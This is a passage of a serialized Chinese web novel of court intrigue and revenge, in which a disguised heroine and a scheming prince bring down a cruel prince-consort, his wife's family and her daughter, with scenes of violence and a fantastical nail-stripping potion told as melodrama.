“小姐,”翠娥看到顾时怒气冲冲从假山离开,急忙进了假山,“你怎么了?” 刚才那一撞,苏柳溪头上的发冠因为惯性,歪了些。 梳得一丝不苟的发髻,散落了几缕秀发,整个人看上去破碎又柔弱。 这种情况下,连翠娥一个女子都恨不得上前好好安抚她家小姐。 偏偏那个郡王爷却是铁石心肠... “王爷怎么可以这么狠心?” 她已经先入为主地认为是顾时对苏柳溪动了手。 苏柳溪阻止了她把话往下说下去,“宴席快要开始了,我们先回去吧。” “难道真的任由王爷再这样下去吗?” 翠娥一脸担心地帮苏柳溪整理仪容。 要是可以,她恨不得立刻回去宴席揪起那个南渊太子妃的衣襟,质问她为何要破坏她家的小家? 可是,她知道她不行。 似是看出了翠娥的想法,苏柳溪淡然一嗮,“错不在那个南渊太子妃,而是顾时那个贪生怕死的忘恩负义之徒,你莫要做傻事,免得到时候节外生枝。” 翠娥快要急哭了,“可是总不能一直任由王爷这样荒唐啊?” 苏柳溪苦笑,目光落在虚空。 “既然阻止不来,那就让他撞撞南墙。” ... 慕容景衍是在夏蝉离开办事没多久回来的。 此时宴席之上已经开始有人在窃窃私语闲聊。 因着宴席还未开始,慕容景衍的位置又在沈慕兮旁边。 两人忍不住凑在一起咬耳朵—— “已经查清楚了,苏勇没死,当初是被回疆圣女用邪门歹毒的替身巫蛊换回一条命,只是现在还在昏迷不醒。 顾时在你跟女儿坠崖当天去了崖底的寒潭旁,现在你尸体跟冰棺被放在寒潭旁的天然石洞里,看样子,顾时是不打算给你们下葬了...” 沈慕兮有点意外,“这么久了,冰棺不融化?顾时这是想做什么?” 她的尸体都烂成什么样子了? 还要被冰镇放在寒潭边? 这湿气得多重? 慕容景衍目光复杂地看了她一眼,“也许,他真的对你旧情未了?” “你可拉到吧。”沈慕兮嫌弃皱眉,“别在我面前说这么恶心的话,影响食欲。” 慕容景衍摸了摸鼻子,趁机小声开口,“你之前用在父皇身上的药还有没有?” 沈慕兮警惕地看着他,“你要干嘛?” 该不会是看顾时不顺眼,想先弄死他吧? “傅君靖需要。” 傅君靖,北宸显王。 这俩是要某朝篡位啊。 沈慕兮难以置信地看了慕容景衍一眼。 后者心虚地干咳了一声,“本宫也就问问,问问...” 两人脑袋碰到一块小声交谈的动作很明显吸引了其他人的注意力。 偏偏两人的声音几乎是气音,离他们近的人根本听不到任何声音。再加上慕容景衍时不时做个心虚的小动作,让人忍不住怀疑——这南渊太子,该不会是惧内吧。 “皇上驾到——” 一声内侍报唱。 本来还有各种细碎聊天声音的天宝临台瞬间安静下来。 朝臣命妇纷纷下跪。 沈慕兮与慕容景衍虽然不用跪,却也要垂首看向地面以示尊敬。 直到一明黄一朱红两个身影在眼前走过,沈慕兮才听到“平身”二字。 得了落座的允许,沈慕兮才有空偷偷打量坐在主位上身穿明黄色龙袍的中年男人。 当今北宸帝傅元怀与当今南渊帝年纪差不多。 许是因为生活习惯的原因,又或许是因为常年劳心国事,傅元怀的眼神不似慕容明坤那般涣散。 明澈的眼眸中,视线像是鹰隼一般锐利,仿佛一眼就能洞察人心。 感觉到他想要看过来,沈慕兮立刻收回视线,把视线落在身前的珍馐佳肴上。 “今日只是一个简单的宴席,小景可要好好尽兴才行。” 北宸帝朝慕容景衍这边举杯,字里行间是对慕容景衍的亲昵。 “难为皇上还能记住小景,小景不胜荣幸。”慕容景衍笑着举杯回敬。 态度一目了然。 “不要什么都往嘴里灌,会害了你。” 沈慕兮顾着龇牙朝为她倒酒的其他宫娥女子微笑,脸上没有太多其他神色。 慕容景衍面上带笑,同样用腹语回话,“本宫知道。” 上首北宸帝还在不停发表自己对于这次南渊特别遣了太子出使北宸,对北宸重视的感想。 忽然看到沈慕兮跟慕容景衍“眉来眼去”,忍不住又将所有人的注意力拉到二人身上。 “朕之前一直听闻你不愿意娶妻,还担心你父皇贸然给你指婚会让你不悦影响你父子二人之间的感情,如今看来,倒是白担心了。” 慕容景衍笑道,“伯父有所不知,父皇当时不知我在儿时与我的太子妃有过数面之缘;虽说太子妃儿时外出历练,但这些年我们亦有书信往来,也算是一同长大的青梅竹马,景能够得此爱妻,景,此生足矣。” 这章没有结束,请点击下一页继续阅读!出门在外,主打一个身份靠自己给。 慕容景衍一番话说得情深意切,看向沈慕兮的时候,一双潋滟的眸子似是映入了整片星河,明亮且深情。 要不是因为知道慕容景衍有更大的谋算,自己连沈慕兮自己都差点信了慕容景衍的鬼话。 她连忙低下头,表示羞赧。 傅元怀哈哈大笑,“好啊,没想到你慕容家居然还出个情种。” 慕容景衍但笑不语。 宴席气氛一下子熟络了许多。 不少有眼力见的官员已经开始在拍马屁,说慕容景衍跟沈慕兮天生一对、郎才女貌一类的话。 只有顾时一言不发喝着闷酒。 目光自始至终都落在沈慕兮身上。 他的目光一错不错,将包括沈慕兮的用膳习惯,拿筷子的动作在内的所有模样尽收眼底。 随着她身上露出破绽越来越多,顾时的目光越来越热切,几乎要将沈慕兮的背影烫出一个洞。 沈慕兮泰若自然地该吃吃该喝喝,仿佛没有受到任何影响。 苏柳溪坐在顾时身边,看着他一晚上都在失态地看向南渊太子妃,她面上的淡然几乎要维持不住了。 酒过三巡。 慕容景衍像是突然起了兴致,开始滔滔不绝。 “之前在南渊,本宫听到一个在北宸流传过来,十分有意思的故事,如今说出来算是图一乐,大家笑过就算了。” 说完,他也不管在场的人允不允许他将故事说下去,径自开口了。 “有一个富家公子家道中落...” 随着慕容景衍说出来的故事指向性愈发强,有些从明的朝臣,脸上的笑容快要挂不住了。 不是吧? 这不就是荣郡王回京之前抛弃妻女的民间故事吗? 怎么流传到南渊去了? 还刚好让南渊殿下听到又回来复述? 这跟丢人丢到邻国去有什么区别? “好了,差不多得了。” 沈慕兮皮笑肉不笑地阻止顾时继续说下去,纵然她已经改头换面。 可是喜欢过顾时,简直就是她的人生污点啊... 不知是谁提了一句,“南渊殿下说的,倒像是当初荣郡王回京时候传得沸沸扬扬那个民间妻子。” “可是后来,王爷不是说,只是误会吗?王爷现在已经另娶了,若是殿下再说下去,要将郡王妃置之何地?” 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第174章 太子妃与微臣的一位故人极为相似 傅元怀脸上的微笑也快要挂不住了。 他的目光若有似无地扫在顾时身上。 苏柳溪冷汗涟涟,拉了拉顾时的衣摆。 顾时却像是没事人一样只顾着喝闷酒。 “荣郡王,可有此事?”傅元怀眼眸缓缓眯起。 之前他也听说过这个事情,也稳过顾时,一开始顾时默认了妻女的存在,可是才过了没多久,顾时就开始极力否认。 还红着眼眶一脸隐忍地跪在他面前,向他诉说他对苏柳溪的一往情深。 他当时也是因为对顾时心存愧疚,再加上顾时确实有大用处,所以他才罚了他的薪俸,小惩大诫。 若是顾时真的像北宸太子所说,因为那对母女身份低微而害死了之前在丹阳陪他数年的妻女,那么... 对上傅元怀逐渐阴鸷的眼神。 顾时这才像是如梦初醒,急忙放下手中酒杯,起身出列,朝傅元怀行礼,“皇上,微臣行得端坐得正,不怕谣传,假的永远真不了。” 看他笃定,慕容景衍大方点头。 “确实也是,这民间传言,向来都是真真假假,可能一开始是真的,后面传着变了味也说不定。” 说完,他还自以为很幽默地“哈哈”了几声。 一场洗尘宴,因为慕容景衍说的这个不光彩的事迹,吃得整个北宸朝堂像是吞了苍蝇一样恶心。 傅元怀跟皇后李氏更是在吃到一半就撂下一句“让南渊使节好好歇息,过两日再详谈其他细节”就离开了宴席。 宫宴很快在傅元怀跟李氏离开后结束。 慕容景衍临时被一个小内侍叫走。 沈慕兮只好先行离开。 还未走出多远,她被顾时叫住了。 “太子妃请留步。” 沈慕兮大胆地对上了顾时的目光,“顾大人有什么事吗?” 这样抬眸,更像了。 可是,沈慕兮不可能这么年轻。 而且... 也不可能一下子就有了一个邻国太子妃的身份... 想到这里,顾时心里燃起来的希望一下子被湮灭了许多。 “微臣并非有意叨扰贵人,只觉得,太子妃与微臣的一位故人极为相似...” “顾大人,”沈慕兮笑着打断了顾时的话,“这种拙劣的理由,以后还是不要乱用来跟旁人搭话了,这样会让你的王妃不开心。” 看到顾时乌黑的发根,她嘴角的笑意淡了几分。 不过才短短一个多月,他就已经从妻女“惨死”的悲痛中出来。 那怎么行? 顾时刚想解释他不是为了搭话,抬眸看到沈慕兮神色怪异地看着自己的满头银发,羞赧开口,“前些天,母妃过世,下官一时悲伤过度,因此发丝白了...” 他的话说得极没底气。 沈慕兮淡笑着应了一声,“顾大人还真是重情之人。” 她分明就没说其他事情,也没有做出任何关于对他轻视的表情。 可听到她这句明面上在夸赞的话,顾时总有一种,她看不起他的错觉。 对。 肯定是错觉。 她跟他素未谋面,寻常人听到他因为生母去世满头银发,钦佩都来不及,又怎么可能会轻视他? 心中像是被满满当当塞了一团火焰,顾时鼓起勇气,想要再次跟眼前女子提起那个“熟悉的故人”。 没想到,沈慕兮先他一步欢喜开口了。 “我家在前面,顾大人,失陪。” 顾时循着沈慕兮的视线望去,不远处,慕容景衍在朝她招手。 沈慕兮一边朝慕容景衍挥手回应,一边大步往他的方向赶去,完全忽略了顾时的存在。 顾时看着她的背影,怅然若失。 一个人,明明模样完全不一样,可背影确实这般相似。 更重要的是,他心里,总有一种感觉,觉得这个南渊太子妃,就是沈慕兮。 也罢。 或许真的只是自己心里的臆想罢了。 顾时垂在身侧的双手捏紧了拳头。 力度之大,几乎连青筋都凸起。 最后,不知道想到什么,他整个人泄了气,连背影都颓丧了几分。 也不知道是为何。 本应该出宫回去荣郡王府的他,竟然鬼使神差地跟上了沈慕兮跟慕容景衍。 像个阴沟里的老鼠一样,偷看夫妻二人相携离开的背影。 直到两人两人的马车离开。 就在顾时也准备离开之际,身边不远处的窃窃私语吸引了他的注意。 宫规森严。 在宫中,每个宫娥内侍都三缄其口。 唯一能打听消息的,大概就是在宫外这个小角门。 “真的假的?” “还能有假吗?咱家可听说了,整个南渊邺城的人都知道,那太子殿下早就有了外室,连女儿都六岁了,这次来咱们北宸,还有一个目的,就是要把自己的孩子安置在咱们这儿。 这不,为了不让自己的女儿有危险,太子殿下来了以后还悄悄将人藏在了木兰巷里。” “为什么要将人藏起来?” “还能为什么?自然是要保护起来啊,你相信,你要是嫡妻,你能容忍一过门,男人就有这么大的一个孩子吗?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“不能...” “这不就是了吗?” “真没想到,看上去一脸单纯无害的太子妃居然是这种人。” “嗐,知人知面不知心。” 南渊太子居然在娶妻之前就有一个六岁的外室女? 顾时双拳紧握。 脑海里,一根名为“理智”的弦瞬间绷断。 他毫不犹豫地大步离开了皇宫。 另一头。 上了马车以后,慕容景衍跟沈慕兮简单说了一下回去别苑行宫的注意事项后,就准备在中途换了一辆低调的马车。 分别之前,慕容景衍看着沈慕兮,似是想说些什么,可最终还是什么话都没说出口。 沈慕兮看得揪心,明明自己想要交代慕容景衍万事小心,到嘴边的话硬是没有说出口。 直到慕容景衍跳上那辆低矮的乌蓬小马车,马车一路哒哒远去,她才轻声呢喃一句,“一路小心。” 夏蝉把一切尽收眼底,“姑娘,您分明在意殿下,为何却一直不在他面前表示出来?” 沈慕兮摇头,“殿下不是那种会被男女私情绊住的人,况且...” 她自嘲一笑,没再说话。 这种时候,她不可能告诉夏蝉太多自己的想法。 她跟慕容景衍注定会形同陌路,如今的关心,不过只是为了让自己的良心好受一点。 毕竟,慕容景衍对筱筱,确实带着一颗赤诚的心。 不愿再纠结自己对慕容景衍那种奇怪别扭的感觉,沈慕兮转移了话题,“话都传出去了?” 夏蝉点头,“人已经带到了木兰巷,若是有人细查,很快就能查到了。” 沈慕兮点头,“隐蔽些,别让除了荣郡王府以外的人发现了。” “是。” ... 自宫宴以后。 慕容景衍一直以对北宸的风土人情不熟悉作为理由,有空没空就拉着顾时到处去。 顾时想要找裴望问些什么,只能在夜深人静的时候,与裴望在荣郡王府悄悄见面。 又是一天深夜。 被慕容景衍“摧残”了一天以后,顾时总算得了空见裴望。 才看到顾时,裴望的脸色已经异常难看。 “果然是苏府在捣鬼。” 简单几个字,彻底点燃了顾时的怒火。 “我就知道,苏府这群人在我这里,从来都是不安好心。” 他的拳头种种砸在书案上。 书案上的陶瓷笔托因此而被震落在地。 一声脆响,四分五裂。 书房内,顿时落针可闻。 顾时这次被夺情起用,本就十分不易。 若是苏府在这种节骨眼生事端,引来圣上怀疑,到时候让顾时重新留在府上为母亲守丧三年也不是不可能。 如今朝堂局势严峻,今天都不知道明天会发生什么事,更不用说三年之后的局势了。 时间拖得太久,荣郡王府的没落只会越来越迅速。 裴望显然也看出来了,“苏府现在已经留不得,若是让他把你的事情抖露出去,只怕到时候,你不死也是一身骚。” 顾时的手再次狠狠地砸在书案上。 手边还有半盏冷茶的茶盏跟着跳了一跳,打翻在书案上。 淋淋漓漓洒了一桌的茶水。 好不容易写好的文书被茶水晕染成一团,桌面顿时一片狼藉。 像是努力压下心中怒火。 顾时好半晌才从牙缝里挤出几个字,“我会处理好,苏府,断不能留。” 如今既然很多事情都露到了明面,那也没必要虚与委蛇了。 南渊使者已经入京,围猎已经开始。 接下来,能得多少,要怎么得到自己想要的东西,就要看彼此在这之前做的准备足不足了。 门外,一个娇小的身影正努力稳住自己的身形。 此人,正是苏柳溪。 刚才顾时跟裴望的话,已经全数落在了她的耳中。 今日好不容易等到顾时早些在府上,她本来是想要借用送补汤的名义探顾时的口风。 没想到顾时竟然这么胆大包天... 居然想过河拆桥。 她捂嘴后退,尽可能不让自己发出声音。 因为太害怕,连自己掉落了香囊都不知道,甚至还在转身逃跑的时候,撞倒了书房外的花盆。 “什么人?” 听到屋里的怒喝。 苏柳溪更是紧紧捏住食盒的提柄没命似地往外小跑。 翠娥本来听从苏柳溪的话,引开了顾时书房周围的侍卫好让苏柳溪接近。 没想到,侍卫才刚走开没多久,苏柳溪就回来了。 “小...” 她还未开口,苏柳溪已经提着食盒拖着她一路跑出了顾时书房的地界。 一股脑将头上的翠玉发簪塞到翠娥手上,“翠娥,时间紧迫,我长话短说,你带着我的发簪,从后门离开荣郡王府,去苏府,就说,顾时要对付他们,快。” 翠娥到底也是跟在苏柳溪身边许久,看到苏柳溪这副模样,便是再多疑问也知道不应该在这种时候开口。 “奴婢知道了,奴婢这就去。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!说完,她头也不回地离开了。 苏柳溪一路目送翠娥消失在自己的视线中以后,才努力让自己保持镇定。 靠在墙上让自己缓了好一会,她才打开食盒查看。 不得不说,翠娥将汤盅固定得很好,她一路提着食盒小跑,汤盅在食盒里没有移位,甚至连一滴汤汁都没有撒出来。 她拢了拢自己刚才微微散乱的鬓发,整理了一下仪容,才重新往顾时的书房而去。 殊不知,翠娥在离开她视线的下一刻,就被守在各个门口的侍卫抓住了扭送回去了顾时面前。 裴望看着一身狼狈的翠娥,再看看顾时,眼底闪过一抹茫然,“这...” “想回去苏府报信?”顾时面上波澜不惊,似是早已预料到,“将她带下去。” 翠娥才张嘴想要叫,被侍卫塞了一块破抹布,毫不怜惜地拖了下去。 裴望这才像是反应过来发现内奸似的,朝顾时皱眉,“这个事情,若是节外生枝了,对谁都不好,况且,苏勇如今还在暗处...” 顾时抬手打断了裴望的话,“裴兄不必担心,我心中有数。” 苏勇有回疆人撑腰又如何? 若是苏府倒了,他的伪装没有了,落在他的手上也是迟早的事情。 到时候,他再亲手杀了他,给慕慕跟筱筱报仇。 ... 主院。 苏柳溪假装刚刚到。 看到裴望离开,还跟裴望打了个招呼。 “裴大人这么晚,是有什么要紧事吗?” “最近闲来无事,不才新得了一幅字画,专门送过来给顾兄鉴赏一番。”裴望说起谎来,脸不红心不跳,还一脸真诚,若不是苏柳溪刚才听到了两人谈话,只怕她差点就信了裴望的鬼话。 “嫂夫人是来给顾兄送汤?” 面对裴望的反问,苏柳溪笑得温婉,“最近他总是因为公务繁忙而废寝忘食,我给他炖些汤,补补营养。” 裴望笑了,“顾兄最近确实需要好好补一补。” 他的笑意丝毫不到眼底,一双眼睛目光锐利,仿佛下一刻就要将苏柳溪看穿。 苏柳溪笑容微敛,“裴大人这样看着我,可是我脸上有什么脏东西?” “没有,裴某只是在想,顾兄到底何德何能,居然能够有嫂子这朵解语花常伴身侧?” 苏柳溪当场脸红了。 “大人谬赞。” 眼前女子柔弱得像一朵菟丝花一样,若不是亲眼看木兰山女尸案由证人亲眼指认苏柳溪,且自己亲眼看到她恶毒的神色。 裴望差点就要被她骗过去了。 顾时不知道什么时候站在书房门口位置,一直冷眼看着苏柳溪与裴望你一言我一语的互动。 苏柳溪毫不知情,还在想方设法套裴望的话。 可裴望是什么人? 堂堂大理寺卿。 若是他今日能轻易让一个小女子套了话,明日圣上就能将他的一撸到底。 最后,苏柳溪自然什么都套不出来。 等她怅然若失地转过头,刚好对上顾时那双像是淬了冰的眸子。 她一个激灵,脱口而出,“顾时哥...” “别这么叫,让人恶心。” 顾时现在连虚与委蛇的表面功夫都不想跟她做。 苏柳溪捏了捏手上的食盒提柄,努力扬起一抹以前顾时最受用的柔弱笑意,“我给你带了汤...” 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第175章 顾时过河拆桥,与苏柳溪反目 “你的东西,我不需要,拿走。” 顾时厌恶皱眉。 一直隐忍换来的却是毫无怜惜。 苏柳溪的伪装终于还是全数卸下。 “顾时,至今你还在执迷不悟以为那个南渊太子妃是沈慕兮? 别傻了,南渊的使节这次本就是不怀好意,连你抛弃糟糠的事情,他们都能查到,你觉得,有什么事情,他们是查不出来的?” 她的字字句句如同利刃,将顾时心里不可宣之于口的秘密鲜血淋漓地剖开在眼前。 顾时顿时恼羞成怒,“你在胡言乱语些什么?南渊太子妃岂容你三言两语就能污蔑?” “是不是污蔑,你自己心里有数,难道你真的觉得,你能够一而再再而三地发现南渊太子妃与沈慕兮身上相似的地方,只是巧合?” 苏柳溪冷笑,“当局者迷,旁观者清,前几天宫宴的事情就是很好的说法,她知道你在暗示什么,但是她还是让我去赴你的约,难道这不足以说明一切?她在欲拒还迎,等着你这个蠢货上钩啊。” 似是恨铁不成钢,她看向顾时满眼失望,“你以为你是谁?值得让所有女人都为之疯狂吗?顾时,你空长一副好看的皮囊,其他方面,一无是处,也就是我...” “既然你装不下去,那就别在我面前出现,”顾时反手挥掉了她手上的食盒,满眼厌恶,“当初,我第一次进宫参加宫宴,其实是你对我下了药,才导致我做了错事,对不对?” 他什么时候知道这个事情的? 苏柳溪心头一虚,双手拳头紧握。 刻意顾左右而言他,“顾时,你到底有没有心?说到底,我也是与你一路扶持走过来,若非苏府协助,你如今只能在家中守丧,哪来的夺情起用? 眼下不过只是一个与沈慕兮神似的南渊太子妃,就已经让你自乱阵脚,你往后还能有什么大用?” “我没用,你就硬气了是吧。” 似是没想到顾时竟会自暴自弃说出这样一番话。 饶是苏柳溪巧舌如簧,也忍不住被气得连话都说不上来,“你...你简直不可理喻。” 顾时甩袖转身,不再看她,“若是无事,你从主院搬回去落霞苑,没事别凑到我这边来。” 就在这时,王英来了。 看到两人在书房外争执,他想要离开。 偏偏顾时还看到他的存在。 他抬起一半的步子原地放下,走也不是,留也不是。 “有什么事情,但说无妨。” 苏柳溪刚刚在他面前闹的一场,足以让顾时做好了随时灭口苏柳溪的准备。 苏柳溪甚至还未从与顾时争执的激烈情绪中反应过来。 就听到了王英的见礼与汇报,“王爷,翠娥那个丫头,经不起拷打逼问,刚才咬舌自尽了。” “你说什么?” 苏柳溪猛然转身看向顾时。 后者的背影冷硬无情,“既然王妃已经知道了,那就别回去落霞苑,直接去柴房待着吧。” 说着,他当真下令让侍卫将苏柳溪押下去。 完全没有给苏柳溪反应过来的机会。 等她被侍卫一左一右架着走出三四步,她才猛然反应过来——顾时刚才已经发现了是她偷听,所以,他才会跟她在这里有来有往地拖延时间。 他根本就没打算让她活着回去主院!! 不知道哪来的力气,苏柳溪挣开了侍卫的架扶,抬手拔下发间簪子,飞扑到顾时身前,“顾时,你个畜生,你不得好死。” 她握着发簪想要重重扎入顾时的血肉。 可惜,就差了那么一步,她被顾时毫不留情地踹开了。 “你居然想要杀我?” 声音里,充满了难以置信。 “我...咳咳...我是苏府的人,杀你不过是为了提前给我苏府铲除祸患,有何不敢?” 刚才顾时那一脚,仿佛将苏柳溪的五脏六腑都踹错位了。 她重重倒在地上,吐出一大口鲜血之后,便像一条濒死的鱼一样,大口呼吸。 似是不解气,顾时用力踩上她的后背碾压。 苏柳溪鬓发散乱,双目通红。 她咬牙切齿地朝顾时开口,“顾时,当初若是没有我苏府用计周旋,就没有你的顺利回京,你如今居然敢过河拆桥,就不怕苏府与你破釜沉舟?” “破釜沉舟?”顾时冷冷“呵”了一声,“苏府不会,最起码不会为了你与我破釜沉舟。” 难道他不动苏府,苏府就不会动他了吗? 别天真了。 权力的角逐,从来就只有你死我活。 “顾时,你个无耻小人...” 苏柳溪一字一句艰涩无比,似是从牙缝之中艰难挤出来。 到底也是自己曾经求而不得的白月光。 如今看到她满身脏污匍匐在自己脚下,顾时突然有些意兴阑珊——年少时候的欢喜,如今得到了,也不过如此。 他唤来了下人,“将她拖去柴房,没有本王的命令,不许送吃喝,违令者,一律当做从犯。” “是。” 这章没有结束,请点击下一页继续阅读!... 荣郡王府的事情很快传到了沈慕兮耳中。 回想那时候她与筱筱刚回府的时候,因为苏柳溪母女吃尽苦头。 如今风水轮流转,竟转到了苏柳溪母女身上。 沈慕兮只想笑。 “没想到,他们之间的感情,居然比我想象中的还要薄弱许多。” 当初,她怎么就输给苏柳溪了呢? 想到这里,她的笑声更大,连眼泪都笑出来了。 “姑娘。” 夏蝉兴冲冲地从外头回来。 沈慕兮停止了笑容,揩掉了眼角的泪花,“什么事?” “今日的朝堂,不可谓不精彩。” 夏蝉的一双眼睛亮晶晶的,仿佛下一刻就有无数星点从里面涌出。 鲜少看到夏蝉这副样子,沈慕兮一下子也来了兴趣。 “你倒是快说啊...” 看到沈慕兮确实好奇,夏蝉也不卖关子了,“今日,苏府那边传来消息...” 她将自己探听到的消息娓娓道来。 沈慕兮认认真真地听着。 原来,昨晚顾时虐打苏柳溪的事情传到了虞悦希耳中,于是虞悦希从荣郡王府偷跑出来。 顾时千算万算,唯独算漏了虞悦希敢偷跑。 这不,苏府的人一听到顾时虐打了苏柳溪,立刻坐不住了,把当初顾时回京的原因也抖搂了出来。 “我就说,顾时那么贪生怕死,怎么可能做出那些英勇的事情?” 沈慕兮一边听,一边点评。 夏蝉皱眉“啧”了一声,“姑娘,你到底还要不要听热闹?” “听,听。”沈慕兮连忙朝夏蝉肃手,示意她继续说下去。 按照苏府的预想,他们将这个事情上禀圣上,苏府最多也就被撸掉几个官职不大的门生活着旁支;可若是能换来顾时被再次贬谪回去丹阳,那也是稳赚不赔的。 谁知道,中途杀出来了一个显王。 在苏府把顾时冒领旁人功劳得以回京的事情上奏了以后,他当场参了苏府一本,直言苏府通敌卖国,并且呈上了有力的证据。 本来,苏康只要出列跪地求饶大喊冤枉,再想办法用其他理由源汇区,圣上惜才说不定就放过他们一家人了。 哪知道... 苏康死活不承认自己通敌,最后还是羽林卫给在苏府搜出了与回疆往来的书信以及一件已经绣好了团龙纹的龙袍。 苏康才不敢嘴硬。 若是这些事情,他们放在自己的地盘上自己解决了倒也还好。 偏偏多了慕容景衍这个看客。 苏府通敌卖国若是只卖北宸也就算了。 他那是连南渊也卖了。 慕容景衍肯定不能放任北宸自己处理了。 “最后,苏府被抄家,速度快得让人咂舌,这会姑娘若是登上望月楼,说不定还能看到那些从苏府抄出来的家伙事呢。” “热闹我就不凑了,”沈慕兮不紧不慢地给自己倒了一杯茶,细抿一口才继续开口,“裴望那边怎么说?” “裴大人那边还没来消息。”夏蝉恭敬开口。 沈慕兮若有所思地看着刚刚放下的茶杯。 “你说,虞悦希回去了苏府,这会苏府在抄家,那有没有可能,在抄家的时候,多一两个逃奴?” 夏蝉明白沈慕兮的意思,笑着应了一句“姑娘说的是”以后,无声退下了。 ... 自从老王妃死后,虞悦希在荣郡王府的日子一天不如一天。 眼看苏柳溪也失了顾时的喜爱,她不得不为自己做打算。 翠娥被抓住的那日。 她刚好目睹全程。 在翠娥被抓没多久,她就看到苏柳溪跟顾时起了争执,而且顾时还打了苏柳溪,让人将苏柳溪拖下去。 虞悦希的第一反应就是自己要完了。 第二反应就是,赶紧去找靠山。 好歹她也是在荣郡王府生活了将近一年,再加上那时候为了讨好顾时跟老荣郡王妃以及陷害顾筱筱,虞悦希对于荣郡王府的一些大路小路都极其熟悉。 没想到还真让她七绕八拐地逃出了荣郡王府。 她见了外祖父,为娘亲告了状,外祖父将她留在了苏府。 原以为自己逃出了荣郡王府住在苏府,等外祖父给娘亲出了一口恶气,一切都好了。 没想到螳螂捕蝉,黄雀在后。 她才在苏府仅仅住了那么一天,苏府就被抄家了!! 抄家太突然,苏府的其他人都在为自己的孩子做打算。 她几乎是最后一个知道苏府要被抄家的。 等她听到消息想要逃的时候,已经有人在后面将她打晕了。 再次醒来,天色昏暗,太阳已经下了山。 透过落日余晖,她看清了周围的环境。 此时,她正躺在结实的泥土地面,地面的另一边,囤满了柴火。 周围的环境脏乱,还有老鼠在她的脚边爬过。 她瞪圆了眼睛,想要尖叫。 奈何嘴巴都被塞得紧紧的。 心中又惊又惧。 最后只敢不断往后缩。 “醒了?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!一个年轻清脆的声音在身侧响起。 她震惊地转头。 她甚至不知道这个说话的年轻女子什么时候出现的。 女子看上去约莫十八九岁。 梳着大气的发髻。 眉眼之间,让她有点莫名的熟悉感。 她不敢轻举妄动,只好用自己一贯的柔弱表象示人。 一双沁水的眸子眨巴眨巴的,看上去无辜又可怜。 沈慕兮冷笑着看她的作态,示意夏蝉取下堵住她嘴巴的帕子。 “漂亮姐姐,你是什么人?抓我来这里做什么?” 她很懂得审时度势。 也很会做戏。 若不是沈慕兮早就见识过她的两面三刀,只怕早已被她看上去可怜巴巴的样子骗了。 “我是什么人不重要,重要的是,这次,我是要为一个人索命。” “索...索命?” 一听到索命。 虞悦希再也淡定不下来了。 什么索命? 不,不对,她要为谁索命? 她艰难地咽了一口唾沫。 蠕动的唇瓣却抖如筛糠,好半晌憋不出一个字... 她现在只有一个人,说句不好听的,便是她死在这里,也不一定会有人知道。 眼角无意间偷偷瞥向身侧的年轻女子。 只觉得这个女子的神态动作,越看越像一个人... 她努力在自己的记忆中翻找。 终于想起来要为谁索命了!! 顾筱筱!! 这个女人,模样长得跟顾筱筱有几分相似。 若不是因为她见过顾筱筱的贱人娘且知道顾筱筱母女在整个北宸没有任何亲人。 一眼看过去,她还以为是顾筱筱那个贱人娘的小姐妹了。 “漂...漂亮姐姐,我不知道你在说什么?咱们之间,是不是有什么误会?” 虞悦希努力挤出一抹笑容,看上去更加可怜了。 不得不说,她那张脸,像极了苏柳溪。 连带楚楚可怜的神态,也与苏柳溪如出一辙。 沈慕兮冷笑,“是不是误会,很快你就知道了。” 话落,她轻拍手掌两下。 两个上了年纪的粗使婆子上前。 其中一人手上捧着药碗,药碗里是一碗漆黑的药汁。 另外一人手上拿着专门扯出指甲的老虎钳。 虞悦希常年以凌虐下人为乐,对于专门扯出指甲的老虎钳自然格外熟悉。 她惊恐得瞪大了眼睛,想要往后缩,却被一把拉了回来,粗鲁地灌下了一碗漆黑的药汁。 药汁入喉,苦得让她舌根发麻,药汁划过喉咙的地方,更是使得她的喉咙像是被刀子毫不留情地划拉过。 “咳...咳咳...” 她被呛得连连咳嗽。 很快,她的咳嗽声像是凭空消失了一样。 她一双水漾的眼眸瞬间蓄满了泪水,盈满了绝望。 “啊...啊啊...” “抱歉啊,”沈慕兮嘴上说着抱歉,面上却没有半点抱歉神色,“你的叫声太难听,我怕吓到附近的丫鬟侍卫,所以暂时让你失声。” 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第176章 以牙还牙,以指甲还指甲,苏府被抄 听到这里,虞悦希又是一阵神色扭曲的挣扎。 奈何婆子的力气极大,她根本挣扎不得半分。 “放心,”沈慕兮笑着安慰,“你喝下的不是毒药,只是一些让你的指甲一点一点自然脱落的药汁而已...” 虞悦希本来已经没有血色的小脸,此时更是一片灰白。 沈慕兮好整以暇地欣赏她的惊恐。 她好像发现了虞悦希之前凌虐下人的乐趣了。 看着自己讨厌的人,叫天天不应,叫地地不灵,最后跟狗一样在自己面前苟延残喘求饶... 但是,这不是她对其他人施暴的理由。 “怎么,现在知道害怕了?那你让下人拔掉其他人的指甲、敲碎其他人的牙齿时,怎么没想到当事人也会害怕?” 她的声音轻柔,却清晰无比地传入了虞悦希的耳中。 虞悦希这次总算可以确定,这个女人,就是为顾筱筱报仇的!! “啊...啊啊...” 她又惊又惧,眼泪止不住往下流,还连连摇头,想要躲过两个婆子的老虎钳。 许是药效开始发作,她感觉到了指尖的疼痛正在一寸一寸往她的手臂蔓延,一直延伸到她的四肢百骸。 紧接着,她的右手小尾指传来一阵尖锐的疼痛。 她转眼看向疼痛的方向。 正好看到她右手尾指的指甲连着血肉掉落到了地上。 两个婆子都还没来得及动手。 她甚至都能看到,伤口处露出的森森白骨。 “啊!!” 再一声破碎的惨叫。 她白眼一翻,晕了过去。 而她手上的指甲,还在无情地掉落。 身体因为疼痛,不断地痉挛抽搐。 早已亲眼见过虞悦希对下人的残忍凌虐,夏蝉难得对这种恶毒的小姑娘没有同情心。 只是... “难道任由她一直关在这里?” 她不解地看向沈慕兮。 “自然不可能,”沈慕兮冷笑,“将她丢回去荣郡王府后院的柴房,让她与苏柳溪共住一处。” 之前回来,老王妃只是利息。 害死她们母女的苏柳溪母女,她不会放过。 而顾时... 更是所有人之中,最该死的。 ... 翌日。 